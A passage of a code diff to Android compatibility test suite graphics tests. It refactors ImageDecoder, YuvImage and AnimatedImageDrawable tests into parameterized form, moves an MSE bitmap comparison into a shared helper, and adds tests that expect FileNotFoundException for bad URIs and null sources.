+                () -> ByteBuffer.wrap(array, offset, length).asReadOnlyBuffer(),
+                () -> {
+                    // slice() to give the buffer an offset.
+                    ByteBuffer buf = ByteBuffer.wrap(array, 0, array.length - extra);
+                    buf.position(offset);
+                    return buf.slice();
+                },
+                () -> {
                     // Same, but make it readOnly to ensure that we test the
                     // ByteBufferSource rather than the ByteArraySource.
-                    () -> ByteBuffer.wrap(array, offset, length).asReadOnlyBuffer(),
-                    () -> {
-                        // slice() to give the buffer an offset.
-                        ByteBuffer buf = ByteBuffer.wrap(array, 0, array.length - extra);
-                        buf.position(offset);
-                        return buf.slice();
-                    },
-                    () -> {
-                        // Same, but make it readOnly to ensure that we test the
-                        // ByteBufferSource rather than the ByteArraySource.
-                        ByteBuffer buf = ByteBuffer.wrap(array, 0, array.length - extra);
-                        buf.position(offset);
-                        return buf.slice().asReadOnlyBuffer();
-                    },
-                    () -> {
-                        // Use both a position and an offset.
-                        ByteBuffer buf = ByteBuffer.wrap(array, myOffset,
+                    ByteBuffer buf = ByteBuffer.wrap(array, 0, array.length - extra);
+                    buf.position(offset);
+                    return buf.slice().asReadOnlyBuffer();
+                },
+                () -> {
+                    // Use both a position and an offset.
+                    ByteBuffer buf = ByteBuffer.wrap(array, myOffset,
                             array.length - extra - myOffset);
-                        buf = buf.slice();
-                        buf.position(myPosition);
-                        return buf;
-                    },
-                    () -> {
-                        // Same, as readOnly.
-                        ByteBuffer buf = ByteBuffer.wrap(array, myOffset,
-                                array.length - extra - myOffset);
-                        buf = buf.slice();
-                        buf.position(myPosition);
-                        return buf.asReadOnlyBuffer();
-                    },
-                    () -> {
-                        // Direct ByteBuffer with a position.
-                        ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
-                        buf.put(array);
-                        buf.position(offset);
-                        return buf;
-                    },
-                    () -> {
-                        // Sliced direct ByteBuffer, for an offset.
-                        ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
-                        buf.put(array);
-                        buf.position(offset);
-                        return buf.slice();
-                    },
-                    () -> {
-                        // Direct ByteBuffer with position and offset.
-                        ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
-                        buf.put(array);
-                        buf.position(myOffset);
-                        buf = buf.slice();
-                        buf.position(myPosition);
-                        return buf;
-                    },
-            };
-            for (int i = 0; i < suppliers.length; ++i) {
-                ByteBuffer buffer = suppliers[i].get();
-                final int position = buffer.position();
-                ImageDecoder.Source src = ImageDecoder.createSource(buffer);
-                try {
-                    Drawable drawable = ImageDecoder.decodeDrawable(src);
-                    assertNotNull(drawable);
-                } catch (IOException e) {
-                    fail("Failed with exception " + e);
-                }
-                assertEquals("Mismatch for supplier " + i,
-                        position, buffer.position());
-            }
-        }
-    }
-
-    @Test
-    public void testResourceSource() {
-        for (Record record : RECORDS) {
-            ImageDecoder.Source src = ImageDecoder.createSource(mRes, record.resId);
+                    buf = buf.slice();
+                    buf.position(myPosition);
+                    return buf;
+                },
+                () -> {
+                    // Same, as readOnly.
+                    ByteBuffer buf = ByteBuffer.wrap(array, myOffset,
+                            array.length - extra - myOffset);
+                    buf = buf.slice();
+                    buf.position(myPosition);
+                    return buf.asReadOnlyBuffer();
+                },
+                () -> {
+                    // Direct ByteBuffer with a position.
+                    ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
+                    buf.put(array);
+                    buf.position(offset);
+                    return buf;
+                },
+                () -> {
+                    // Sliced direct ByteBuffer, for an offset.
+                    ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
+                    buf.put(array);
+                    buf.position(offset);
+                    return buf.slice();
+                },
+                () -> {
+                    // Direct ByteBuffer with position and offset.
+                    ByteBuffer buf = ByteBuffer.allocateDirect(array.length);
+                    buf.put(array);
+                    buf.position(myOffset);
+                    buf = buf.slice();
+                    buf.position(myPosition);
+                    return buf;
+                },
+        };
+        for (int i = 0; i < suppliers.length; ++i) {
+            ByteBuffer buffer = suppliers[i].get();
+            final int position = buffer.position();
+            ImageDecoder.Source src = ImageDecoder.createSource(buffer);
             try {
                 Drawable drawable = ImageDecoder.decodeDrawable(src);
                 assertNotNull(drawable);
             } catch (IOException e) {
-                fail("Failed " + getAsResourceUri(record.resId) + " with " + e);
+                fail("Failed with exception " + e);
             }
+            assertEquals("Mismatch for supplier " + i,
+                    position, buffer.position());
+        }
+    }
+
+    @Test
+    @Parameters(method = "getRecords")
+    public void testResourceSource(Record record) {
+        ImageDecoder.Source src = ImageDecoder.createSource(getResources(), record.resId);
+        try {
+            Drawable drawable = ImageDecoder.decodeDrawable(src);
+            assertNotNull(drawable);
+        } catch (IOException e) {
+            fail("Failed " + getAsResourceUri(record.resId) + " with " + e);
         }
     }
 
     private BitmapDrawable decodeBitmapDrawable(int resId) {
-        ImageDecoder.Source src = ImageDecoder.createSource(mRes, resId);
+        ImageDecoder.Source src = ImageDecoder.createSource(getResources(), resId);
         try {
             Drawable drawable = ImageDecoder.decodeDrawable(src);
             assertNotNull(drawable);
@@ -2058,54 +2114,54 @@
     }
 
     @Test
-    public void testUpscale() {
-        final int originalDensity = mRes.getDisplayMetrics().densityDpi;
+    @Parameters(method = "getRecords")
+    public void testUpscale(Record record) {
+        Resources res = getResources();
+        final int originalDensity = res.getDisplayMetrics().densityDpi;
 
         try {
-            for (Record record : RECORDS) {
-                final int resId = record.resId;
+            final int resId = record.resId;
 
-                // Set a high density. This will result in a larger drawable, but
-                // not a larger Bitmap.
-                mRes.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_XXXHIGH;
-                BitmapDrawable drawable = decodeBitmapDrawable(resId);
+            // Set a high density. This will result in a larger drawable, but
+            // not a larger Bitmap.
+            res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_XXXHIGH;
+            BitmapDrawable drawable = decodeBitmapDrawable(resId);
 
-                Bitmap bm = drawable.getBitmap();
-                assertEquals(record.width, bm.getWidth());
-                assertEquals(record.height, bm.getHeight());
+            Bitmap bm = drawable.getBitmap();
+            assertEquals(record.width, bm.getWidth());
+            assertEquals(record.height, bm.getHeight());
 
-                assertTrue(drawable.getIntrinsicWidth() > record.width);
-                assertTrue(drawable.getIntrinsicHeight() > record.height);
+            assertTrue(drawable.getIntrinsicWidth() > record.width);
+            assertTrue(drawable.getIntrinsicHeight() > record.height);
 
-                // Set a low density. This will result in a smaller drawable and
-                // Bitmap, unless the true density is DENSITY_MEDIUM, which matches
-                // the density of the asset.
-                mRes.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_LOW;
-                drawable = decodeBitmapDrawable(resId);
-                bm = drawable.getBitmap();
+            // Set a low density. This will result in a smaller drawable and
+            // Bitmap, unless the true density is DENSITY_MEDIUM, which matches
+            // the density of the asset.
+            res.getDisplayMetrics().densityDpi = DisplayMetrics.DENSITY_LOW;
+            drawable = decodeBitmapDrawable(resId);
+            bm = drawable.getBitmap();
 
-                if (originalDensity == DisplayMetrics.DENSITY_MEDIUM) {
-                    // Although we've modified |densityDpi|, ImageDecoder knows the
-                    // true density matches the asset, so it will not downscale at
-                    // decode time.
-                    assertEquals(bm.getWidth(), record.width);
-                    assertEquals(bm.getHeight(), record.height);
+            if (originalDensity == DisplayMetrics.DENSITY_MEDIUM) {
+                // Although we've modified |densityDpi|, ImageDecoder knows the
+                // true density matches the asset, so it will not downscale at
+                // decode time.
+                assertEquals(bm.getWidth(), record.width);
+                assertEquals(bm.getHeight(), record.height);
 
-                    // The drawable should still be smaller.
-                    assertTrue(bm.getWidth() > drawable.getIntrinsicWidth());
-                    assertTrue(bm.getHeight() > drawable.getIntrinsicHeight());
-                } else {
-                    // The bitmap is scaled down at decode time, so it matches the
-                    // drawable size, and is smaller than the original.
-                    assertTrue(bm.getWidth() < record.width);
-                    assertTrue(bm.getHeight() < record.height);
+                // The drawable should still be smaller.
+                assertTrue(bm.getWidth() > drawable.getIntrinsicWidth());
+                assertTrue(bm.getHeight() > drawable.getIntrinsicHeight());
+            } else {
+                // The bitmap is scaled down at decode time, so it matches the
+                // drawable size, and is smaller than the original.
+                assertTrue(bm.getWidth() < record.width);
+                assertTrue(bm.getHeight() < record.height);
 
-                    assertEquals(bm.getWidth(), drawable.getIntrinsicWidth());
-                    assertEquals(bm.getHeight(), drawable.getIntrinsicHeight());
-                }
+                assertEquals(bm.getWidth(), drawable.getIntrinsicWidth());
+                assertEquals(bm.getHeight(), drawable.getIntrinsicHeight());
             }
         } finally {
-            mRes.getDisplayMetrics().densityDpi = originalDensity;
+            res.getDisplayMetrics().densityDpi = originalDensity;
         }
     }
 
@@ -2148,7 +2204,8 @@
         }
     }
 
-    private static final AssetRecord[] ASSETS = new AssetRecord[] {
+    private Object [] getAssetRecords() {
+        return new Object [] {
             // A null ColorSpace means that the color space is "Unknown".
             new AssetRecord("almost-red-adobe.png", 1, 1, false, false, null),
             new AssetRecord("green-p3.png", 64, 64, false, false,
@@ -2166,51 +2223,82 @@
                     ColorSpace.get(ColorSpace.Named.DISPLAY_P3)),
             new AssetRecord("grayscale-linearSrgb.png", 32, 32, false, true,
                     ColorSpace.get(ColorSpace.Named.LINEAR_SRGB)),
-    };
+        };
+    }
 
     @Test
-    public void testAssetSource() {
-        AssetManager assets = mRes.getAssets();
-        for (AssetRecord record : ASSETS) {
-            ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+    @Parameters(method = "getAssetRecords")
+    public void testAssetSource(AssetRecord record) {
+        AssetManager assets = getResources().getAssets();
+        ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+        try {
+            Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                if (record.isF16) {
+                    // CTS infrastructure fails to create F16 HARDWARE Bitmaps, so this
+                    // switches to using software.
+                    decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+                }
+
+                record.checkColorSpace(null, info.getColorSpace());
+            });
+            assertEquals(record.name, record.width, bm.getWidth());
+            assertEquals(record.name, record.height, bm.getHeight());
+            record.checkColorSpace(null, bm.getColorSpace());
+        } catch (IOException e) {
+            fail("Failed to decode asset " + record.name + " with " + e);
+        }
+    }
+
+    @Test
+    @Parameters(method = "getAssetRecords")
+    public void testTargetColorSpace(AssetRecord record) {
+        AssetManager assets = getResources().getAssets();
+        ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+        for (ColorSpace cs : BitmapTest.getRgbColorSpaces()) {
             try {
                 Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
-                    if (record.isF16) {
-                        // CTS infrastructure fails to create F16 HARDWARE Bitmaps, so this
-                        // switches to using software.
+                    if (record.isF16 || isExtended(cs)) {
+                        // CTS infrastructure and some devices fail to create F16
+                        // HARDWARE Bitmaps, so this switches to using software.
                         decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
                     }
-
-                    record.checkColorSpace(null, info.getColorSpace());
+                    decoder.setTargetColorSpace(cs);
                 });
-                assertEquals(record.name, record.width, bm.getWidth());
-                assertEquals(record.name, record.height, bm.getHeight());
-                record.checkColorSpace(null, bm.getColorSpace());
+                record.checkColorSpace(cs, bm.getColorSpace());
             } catch (IOException e) {
-                fail("Failed to decode asset " + record.name + " with " + e);
+                fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
             }
         }
     }
 
     @Test
-    public void testTargetColorSpace() {
-        AssetManager assets = mRes.getAssets();
-        for (AssetRecord record : ASSETS) {
-            ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
-            for (ColorSpace cs : BitmapTest.getRgbColorSpaces()) {
-                try {
-                    Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
-                        if (record.isF16) {
-                            // CTS infrastructure fails to create F16 HARDWARE Bitmaps, so this
-                            // switches to using software.
-                            decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
-                        }
-                        decoder.setTargetColorSpace(cs);
-                    });
-                    record.checkColorSpace(cs, bm.getColorSpace());
-                } catch (IOException e) {
-                    fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
+    @Parameters(method = "getAssetRecords")
+    public void testTargetColorSpaceNoF16HARDWARE(AssetRecord record) {
+        final ColorSpace EXTENDED_SRGB = ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB);
+        final ColorSpace LINEAR_EXTENDED_SRGB = ColorSpace.get(
+                ColorSpace.Named.LINEAR_EXTENDED_SRGB);
+        AssetManager assets = getResources().getAssets();
+        ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+        for (ColorSpace cs : new ColorSpace[] { EXTENDED_SRGB, LINEAR_EXTENDED_SRGB }) {
+            try {
+                Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                    decoder.setTargetColorSpace(cs);
+                });
+                // If the ColorSpace does not match the request, it should be because
+                // F16 + HARDWARE is not supported. In that case, it should match the non-
+                // EXTENDED variant.
+                ColorSpace actual = bm.getColorSpace();
+                if (actual != cs) {
+                    assertEquals(BitmapTest.ANDROID_BITMAP_FORMAT_RGBA_8888,
+                                 BitmapTest.nGetFormat(bm));
+                    if (cs == EXTENDED_SRGB) {
+                        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), actual);
+                    } else {
+                        assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_SRGB), actual);
+                    }
                 }
+            } catch (IOException e) {
+                fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
             }
         }
     }
@@ -2221,84 +2309,83 @@
     }
 
     @Test
-    public void testTargetColorSpaceUpconvert() {
+    @Parameters(method = "getAssetRecords")
+    public void testTargetColorSpaceUpconvert(AssetRecord record) {
         // Verify that decoding an asset to EXTENDED upconverts to F16.
-        AssetManager assets = mRes.getAssets();
+        AssetManager assets = getResources().getAssets();
         boolean[] trueFalse = new boolean[] { true, false };
         final ColorSpace linearExtended = ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB);
         final ColorSpace linearSrgb = ColorSpace.get(ColorSpace.Named.LINEAR_SRGB);
 
-        for (AssetRecord record : ASSETS) {
-            if (record.isF16) {
-                // These assets decode to F16 by default.
-                continue;
-            }
-            ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
-            for (ColorSpace cs : BitmapTest.getRgbColorSpaces()) {
-                for (boolean alphaMask : trueFalse) {
-                    try {
-                        Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
-                            // Force software so we can check the Config.
-                            decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
-                            decoder.setTargetColorSpace(cs);
-                            // This has no effect on non-gray assets.
-                            decoder.setDecodeAsAlphaMaskEnabled(alphaMask);
-                        });
+        if (record.isF16) {
+            // These assets decode to F16 by default.
+            return;
+        }
+        ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+        for (ColorSpace cs : BitmapTest.getRgbColorSpaces()) {
+            for (boolean alphaMask : trueFalse) {
+                try {
+                    Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                        // Force software so we can check the Config.
+                        decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+                        decoder.setTargetColorSpace(cs);
+                        // This has no effect on non-gray assets.
+                        decoder.setDecodeAsAlphaMaskEnabled(alphaMask);
+                    });
 
-                        if (record.isGray && alphaMask) {
-                            assertSame(Bitmap.Config.ALPHA_8, bm.getConfig());
-                            assertNull(bm.getColorSpace());
+                    if (record.isGray && alphaMask) {
+                        assertSame(Bitmap.Config.ALPHA_8, bm.getConfig());
+                        assertNull(bm.getColorSpace());
+                    } else {
+                        assertSame(cs, bm.getColorSpace());
+                        if (isExtended(cs)) {
+                            assertSame(Bitmap.Config.RGBA_F16, bm.getConfig());
                         } else {
-                            assertSame(cs, bm.getColorSpace());
-                            if (isExtended(cs)) {
-                                assertSame(Bitmap.Config.RGBA_F16, bm.getConfig());
+                            assertSame(Bitmap.Config.ARGB_8888, bm.getConfig());
+                        }
+                    }
+                } catch (IOException e) {
+                    fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
+                }
+
+                // Using MEMORY_POLICY_LOW_RAM prevents upconverting.
+                try {
+                    Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                        // Force software so we can check the Config.
+                        decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+                        decoder.setTargetColorSpace(cs);
+                        decoder.setMemorySizePolicy(ImageDecoder.MEMORY_POLICY_LOW_RAM);
+                        // This has no effect on non-gray assets.
+                        decoder.setDecodeAsAlphaMaskEnabled(alphaMask);
+                    });
+
+                    assertNotEquals(Bitmap.Config.RGBA_F16, bm.getConfig());
+
+                    if (record.isGray && alphaMask) {
+                        assertSame(Bitmap.Config.ALPHA_8, bm.getConfig());
+                        assertNull(bm.getColorSpace());
+                    } else {
+                        ColorSpace actual = bm.getColorSpace();
+                        if (isExtended(cs)) {
+                            if (cs == ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB)) {
+                                assertSame(ColorSpace.get(ColorSpace.Named.SRGB), actual);
+                            } else if (cs == linearExtended) {
+                                assertSame(linearSrgb, actual);
                             } else {
+                                fail("Test error: did isExtended() change?");
+                            }
+                        } else {
+                            assertSame(cs, actual);
+                            if (bm.hasAlpha()) {
                                 assertSame(Bitmap.Config.ARGB_8888, bm.getConfig());
-                            }
-                        }
-                    } catch (IOException e) {
-                        fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
-                    }
-
-                    // Using MEMORY_POLICY_LOW_RAM prevents upconverting.
-                    try {
-                        Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
-                            // Force software so we can check the Config.
-                            decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
-                            decoder.setTargetColorSpace(cs);
-                            decoder.setMemorySizePolicy(ImageDecoder.MEMORY_POLICY_LOW_RAM);
-                            // This has no effect on non-gray assets.
-                            decoder.setDecodeAsAlphaMaskEnabled(alphaMask);
-                        });
-
-                        assertNotEquals(Bitmap.Config.RGBA_F16, bm.getConfig());
-
-                        if (record.isGray && alphaMask) {
-                            assertSame(Bitmap.Config.ALPHA_8, bm.getConfig());
-                            assertNull(bm.getColorSpace());
-                        } else {
-                            ColorSpace actual = bm.getColorSpace();
-                            if (isExtended(cs)) {
-                                if (cs == ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB)) {
-                                    assertSame(ColorSpace.get(ColorSpace.Named.SRGB), actual);
-                                } else if (cs == linearExtended) {
-                                    assertSame(linearSrgb, actual);
-                                } else {
-                                    fail("Test error: did isExtended() change?");
-                                }
                             } else {
-                                assertSame(cs, actual);
-                                if (bm.hasAlpha()) {
-                                    assertSame(Bitmap.Config.ARGB_8888, bm.getConfig());
-                                } else {
-                                    assertSame(Bitmap.Config.RGB_565, bm.getConfig());
-                                }
+                                assertSame(Bitmap.Config.RGB_565, bm.getConfig());
                             }
                         }
-                    } catch (IOException e) {
-                        fail("Failed to decode asset " + record.name
-                                + " with MEMORY_POLICY_LOW_RAM to " + cs + " with " + e);
                     }
+                } catch (IOException e) {
+                    fail("Failed to decode asset " + record.name
+                            + " with MEMORY_POLICY_LOW_RAM to " + cs + " with " + e);
                 }
             }
         }
@@ -2365,7 +2452,7 @@
 
         Bitmap bm1 = drawToBitmap(first);
         Bitmap bm2 = drawToBitmap(second);
-        BitmapUtils.compareBitmaps(bm1, bm2);
+        assertTrue(BitmapUtils.compareBitmaps(bm1, bm2));
     }
 
     @Test
@@ -2380,52 +2467,92 @@
         }
     }
 
+
+    private Object[] crossProduct(Object[] a, Object[] b) {
+        final int length = a.length * b.length;
+        Object[] ret = new Object[length];
+        for (int i = 0; i < a.length; i++) {
+            for (int j = 0; j < b.length; j++) {
+                int index = i * b.length + j;
+                assertNull(ret[index]);
+                ret[index] = new Object[] { a[i], b[j] };
+            }
+        }
+        return ret;
+    }
+
+    private Object[] getRecordsAsSources() {
+        return crossProduct(getRecords(), mCreators);
+    }
+
+
     @Test
     @LargeTest
-    public void testReuse() {
-        for (Record record : RECORDS) {
-            if (record.mimeType.equals("image/heif")) {
-                // This image takes too long for this test.
-                continue;
-            }
-
-            String name = getAsResourceUri(record.resId).toString();
-            for (SourceCreator f : mCreators) {
-                ImageDecoder.Source src = f.apply(record.resId);
-                testReuse(src, name);
-            }
-
-            {
-                ImageDecoder.Source src = ImageDecoder.createSource(mRes, record.resId);
-                testReuse(src, name);
-            }
-
-            for (UriCreator f : mUriCreators) {
-                Uri uri = f.apply(record.resId);
-                ImageDecoder.Source src = ImageDecoder.createSource(mContentResolver, uri);
-                testReuse(src, uri.toString());
-            }
-
-            {
-                ImageDecoder.Source src = ImageDecoder.createSource(getAsFile(record.resId));
-                testReuse(src, name);
-            }
+    @Parameters(method = "getRecordsAsSources")
+    public void testReuse(Record record, SourceCreator f) {
+        if (record.mimeType.equals("image/heif")) {
+            // This image takes too long for this test.
+            return;
         }
 
-        AssetManager assets = mRes.getAssets();
-        for (AssetRecord record : ASSETS) {
-            ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
-            testReuse(src, record.name);
+        String name = getAsResourceUri(record.resId).toString();
+        ImageDecoder.Source src = f.apply(record.resId);
+        testReuse(src, name);
+    }
+
+    @Test
+    @Parameters(method = "getRecords")
+    public void testReuse2(Record record) {
+        if (record.mimeType.equals("image/heif")) {
+            // This image takes too long for this test.
+            return;
         }
 
+        String name = getAsResourceUri(record.resId).toString();
+        ImageDecoder.Source src = ImageDecoder.createSource(getResources(), record.resId);
+        testReuse(src, name);
 
+        src = ImageDecoder.createSource(getAsFile(record.resId));
+        testReuse(src, name);
+    }
+
+    private Object[] getRecordsAsUris() {
+        return crossProduct(getRecords(), mUriCreators);
+    }
+
+
+    @Test
+    @Parameters(method = "getRecordsAsUris")
+    public void testReuseUri(Record record, UriCreator f) {
+        if (record.mimeType.equals("image/heif")) {
+            // This image takes too long for this test.
+            return;
+        }
+
+        Uri uri = f.apply(record.resId);
+        ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+        testReuse(src, uri.toString());
+    }
+
+    @Test
+    @Parameters(method = "getAssetRecords")
+    public void testReuseAssetRecords(AssetRecord record) {
+        AssetManager assets = getResources().getAssets();
+        ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+        testReuse(src, record.name);
+    }
+
+
+    @Test
+    public void testReuseAnimated() {
         ImageDecoder.Source src = mCreators[0].apply(R.drawable.animated);
         testReuse(src, "animated.gif");
     }
 
     @Test
     public void testIsMimeTypeSupported() {
-        for (Record record : RECORDS) {
+        for (Object r : getRecords()) {
+            Record record = (Record) r;
             assertTrue(record.mimeType, ImageDecoder.isMimeTypeSupported(record.mimeType));
         }
 
@@ -2448,4 +2575,33 @@
 
         assertFalse(ImageDecoder.isMimeTypeSupported("image/x-does-not-exist"));
     }
+
+    @Test(expected = FileNotFoundException.class)
+    public void testBadUri() throws IOException {
+        Uri uri = new Uri.Builder()
+                .scheme(ContentResolver.SCHEME_ANDROID_RESOURCE)
+                .authority("authority")
+                .appendPath("drawable")
+                .appendPath("bad")
+                .build();
+        ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+        ImageDecoder.decodeDrawable(src);
+    }
+
+    @Test(expected = FileNotFoundException.class)
+    public void testBadUri2() throws IOException {
+        // This URI will attempt to open a file from EmptyProvider, which always
+        // returns null. This test ensures that we throw FileNotFoundException,
+        // instead of a NullPointerException when attempting to dereference null.
+        Uri uri = Uri.parse(ContentResolver.SCHEME_CONTENT + "://"
+                + "android.graphics.cts.assets/bad");
+        ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+        ImageDecoder.decodeDrawable(src);
+    }
+
+    @Test(expected = FileNotFoundException.class)
+    public void testBadCallable() throws IOException {
+        ImageDecoder.Source src = ImageDecoder.createSource(() -> null);
+        ImageDecoder.decodeDrawable(src);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
index ad8f0af..61c2c4c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
@@ -16,7 +16,6 @@
 package android.graphics.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -34,6 +33,8 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.BitmapUtils;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -253,13 +254,13 @@
         Bitmap actual = null;
         boolean sameRect = rect1.equals(rect2) ? true : false;
 
-		Rect actualRect = new Rect(rect2);
+        Rect actualRect = new Rect(rect2);
         actual = compressDecompress(image, actualRect);
 
         Rect expectedRect = sameRect ? actualRect : rect1;
         expected = Bitmap.createBitmap(testBitmap, expectedRect.left, expectedRect.top,
                 expectedRect.width(), expectedRect.height());
-        compareBitmaps(expected, actual, MSE_MARGIN, sameRect);
+        BitmapUtils.assertBitmapsMse(expected, actual, MSE_MARGIN, sameRect, false);
     }
 
     // Compress rect in image.
@@ -275,7 +276,7 @@
         expected = Bitmap.createBitmap(testBitmap, newRect.left, newRect.top,
               newRect.width(), newRect.height());
 
-        compareBitmaps(expected, actual, MSE_MARGIN, true);
+        BitmapUtils.assertBitmapsMse(expected, actual, MSE_MARGIN, true, false);
     }
 
     // Compress rect in image to a jpeg and then decode the jpeg to a bitmap.
@@ -334,50 +335,6 @@
         return yuv;
     }
 
-    // Compare expected to actual to see if their diff is less then mseMargin.
-    // lessThanMargin is to indicate whether we expect the diff to be
-    // "less than" or "no less than".
-    private void compareBitmaps(Bitmap expected, Bitmap actual,
-            int mseMargin, boolean lessThanMargin) {
-        assertEquals("mismatching widths", expected.getWidth(),
-                actual.getWidth());
-        assertEquals("mismatching heights", expected.getHeight(),
-                actual.getHeight());
-
-        double mse = 0;
-        int width = expected.getWidth();
-        int height = expected.getHeight();
-        int[] expColors = new int [width * height];
-        expected.getPixels(expColors, 0, width, 0, 0, width, height);
-
-        int[] actualColors = new int [width * height];
-        actual.getPixels(actualColors, 0, width, 0, 0, width, height);
-
-        for (int row = 0; row < height; ++row) {
-            for (int col = 0; col < width; ++col) {
-                int idx = row * width + col;
-                mse += distance(expColors[idx], actualColors[idx]);
-            }
-        }
-        mse /= width * height;
-
-        Log.i(TAG, "MSE: " + mse);
-        if (lessThanMargin) {
-            assertTrue("MSE too large for normal case: " + mse,
-                    mse <= mseMargin);
-        } else {
-            assertFalse("MSE too small for abnormal case: " + mse,
-                    mse <= mseMargin);
-        }
-    }
-
-    private double distance(int exp, int actual) {
-        int r = Color.red(actual) - Color.red(exp);
-        int g = Color.green(actual) - Color.green(exp);
-        int b = Color.blue(actual) - Color.blue(exp);
-        return r * r + g * g + b * b;
-    }
-
     private void argb2yuv(int argb, byte[] yuv) {
         int r = Color.red(argb);
         int g = Color.green(argb);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index 3f5c692..258af51 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -56,7 +56,10 @@
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
+import java.io.ByteArrayOutputStream;
 import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
 import java.util.function.BiFunction;
 
 @RunWith(AndroidJUnit4.class)
@@ -522,7 +525,7 @@
             testDrawable.draw(canvas);
         }
 
-        BitmapUtils.compareBitmaps(expected, actual);
+        assertTrue(BitmapUtils.compareBitmaps(expected, actual));
     }
 
     @Test
@@ -601,7 +604,7 @@
                 drawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888);
         Canvas canvas = new Canvas(test);
         drawable.draw(canvas);
-        BitmapUtils.compareBitmaps(expected, test);
+        assertTrue(BitmapUtils.compareBitmaps(expected, test));
     }
 
     @Test
@@ -670,4 +673,91 @@
         aid = (AnimatedImageDrawable) drawable;
         assertEquals(AnimatedImageDrawable.REPEAT_INFINITE, aid.getRepeatCount());
     }
+
+    // Verify that decoding on the AnimatedImageThread works.
+    private void decodeInBackground(AnimatedImageDrawable drawable) throws Throwable {
+        final Callback cb = new Callback(drawable);
+        mActivityRule.runOnUiThread(() -> {
+            setContentView(drawable);
+            drawable.registerAnimationCallback(cb);
+            drawable.start();
+        });
+
+        // The first frame was decoded in the thread that created the
+        // AnimatedImageDrawable. Wait long enough to decode further threads on
+        // the AnimatedImageThread, which was not created with a JNI interface
+        // pointer.
+        cb.waitForStart();
+        cb.waitForEnd(DURATION * 2);
+    }
+
+    @Test
+    public void testInputStream() throws Throwable {
+        try (InputStream in = mRes.openRawResource(R.drawable.animated)) {
+            ImageDecoder.Source src =
+                    ImageDecoder.createSource(mRes, in, Bitmap.DENSITY_NONE);
+            AnimatedImageDrawable drawable =
+                    (AnimatedImageDrawable) ImageDecoder.decodeDrawable(src);
+            decodeInBackground(drawable);
+        }
+
+    }
+
+    private byte[] getAsByteArray() {
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+        try (InputStream in = mRes.openRawResource(RES_ID)) {
+            byte[] buf = new byte[4096];
+            int bytesRead;
+            while ((bytesRead = in.read(buf)) != -1) {
+                outputStream.write(buf, 0, bytesRead);
+            }
+        } catch (IOException e) {
+            fail("Failed to read resource: " + e);
+        }
+
+        return outputStream.toByteArray();
+    }
+
+    private ByteBuffer getAsDirectByteBuffer() {
+        byte[] array = getAsByteArray();
